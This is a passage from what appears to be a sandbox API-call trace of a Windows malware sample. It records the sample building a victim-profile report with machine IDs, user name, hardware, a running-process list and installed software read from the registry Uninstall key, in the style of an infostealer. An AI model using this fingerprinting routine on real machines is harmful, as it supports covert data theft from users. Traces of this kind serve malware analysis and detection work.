2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]"
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\n"
[0054.975] RegCloseKey (hKey=0x514) returned 0x0
[0054.976] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x35, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.976] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 90
[0054.976] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.976] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x1816c0*=0x3f) returned 0x0
[0054.976] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe 